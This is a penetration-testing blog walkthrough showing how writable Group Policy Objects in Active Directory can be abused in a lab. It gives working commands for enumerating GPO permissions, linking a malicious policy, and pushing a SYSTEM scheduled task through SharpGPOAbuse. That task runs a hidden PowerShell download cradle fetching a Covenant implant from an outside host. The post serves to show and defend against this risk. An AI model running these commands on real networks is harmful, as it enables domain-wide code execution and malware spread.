In this scenario we take a look at GPO Abuse, which sees domain users or a specific compromised user (Jane in this example) having edit permissions to a GPO that affects a large number of machines (ok only one in the lab!). This post is to highlight the dangers of this and walk through a proof of concept to highlight the risk. Clearly this can be deadly, it can be used to spread ransomware, malware, reverse shells and any number of settings we wish to push to computer objects affected by that GPO. As a computer policy the settings are pushed out in the context of NT Authority\ SYSTEM (the highest privilege level on a Windows system). The scenario could also be such that we have control over an Organisation Unit not just a specific GPO (i.e. creating a new GPO and linking it to that OU).
Let’s start by enumerating all the permissions for all GPOs in the current domain with PowerView:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
We find that the group ‘Domain Users’ have the ability to modify the ‘Dodgy Policy’ GPO which is linked to the ‘Development’ OU which contains the ‘File1’ computer object. In bloodhound this looks like:
The misconfiguration in Group Policy Management GUI would be similar to this (or a security group or individual) in this case we have used ‘Domain Users’:
We can use the RSAT (Remote Server Administration Tools) GUI and or PowerShell modules to modify or create a new policy:
New-GPO -Name 'dodgey policy' | New-GPLink -Target 'OU=Development,OU=Servers,OU=Resources,DC=Jango,DC=com'
The actions of this attack can be wide reaching in terms of the number of affected hosts, in such a situation whilst on a penetration test it would be wise to consider limiting the target hosts of a new GPO to a couple of hosts specifically. We can do this in two ways:
1. Object level targeting by applying a WMI Filter: In the GPO setting you can target various AD or WMI objects. For example something similar to the following: MS SELECT * FROM Win32_ComputerSystem WHERE Name IS ‘FILE1’.
2. Security Filtering: Remove the default “authenticated users” and add the computer name/security group with computer objects.
Some versions of PowerView (to the best of my knowledge) contain a ‘New-GPOImmediateTask’ function, which can create a scheduled task which will run once GPO refreshes. We can push any PowerShell or CMD command such as stager, launcher or download cradle.
I wasn’t able to find the New GPOImmediateTask function in the latest version of PowerView from github however it is in this branch: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1
The following syntax is used:
New-GPOImmediateTask -TaskName Debugging -GPODisplayName Dodgeypolicy -CommandArguments '-NoP -NonI -W Hidden -Enc JABXAGMAPQBO…' -Force
You can remove the schtask .xml after you get execution by supplying the -Remove flag like below (this is a nice feature):
New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy.
I wasn’t able to get this working in my labs, however not deterred I looked for an alternative way. Alternatives being standard RSAT GUI (not very red team) and SharpGPOAbuse . SharpGPOAbuse will essentially do a very a similar job to PowerView by modifying the target GPO, which when applied to a machine will create a scheduled task which will instantly run.
First compile SharpGPOAbuse in Visual Studio (needs a write up in its own right).
Next we will use the Assembly Task from within Covenant, with the following parameters:
--AddComputerTask --TaskName "Task1" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c powershell -Sta -Nop -Window Hidden -Command iex (New-Object Net.WebClient).DownloadString('http://192.168.1.104/GruntHTTP.ps1')" --GPOName "dodgey policy"
Great, we see the commands executed successfully in our covenant output and the GPO has been updated, we can see the file that has been updated in sysvol on the DC!
If we look in Group Policy Management console on the DC we can see specifically what has been set:
Once GPO has been refreshed (every 90 mins by default) we can verify our results on the target system ‘File1’, we can see that Task1 has been applied in the Task Scheduler:
The proof is always in the pudding, and we can see a grunt has connected:
Things to consider from a pentesting perspective:
- The impact could be significant, so verify how this affects your position. I.e. How many machines will this affect, what sort of machines critical infra?
- An alternative route to reach your goal may have less of an impact.
- As an alternative approach to highlight this risk to a client might be to simple demonstrate through RSAT by creating a blank GPO and linking it to the OU without creating the task or any actions.
- To the best of my knowledge I couldn’t see a ‘remove’ or ‘reverse’ action within SharpGPOAbuse, to revert back/clean up our modifications. As a Pentester/Red Team member you should be mindful of this. Depending on the engagement I would suggest this is run in conjunction with the POC or have the ability to clean this up, both the task its created and the GPO.
- This is not OPSEC safe, admins may see the changes in the GPO console.
- Always remember to clear up after yourself.
Hopefully this has demonstrated how powerful and dangerous this sort of misconfiguration is in the enterprise can be. For the blue team, check your configuration with bloodhound to understand any weakness you may have.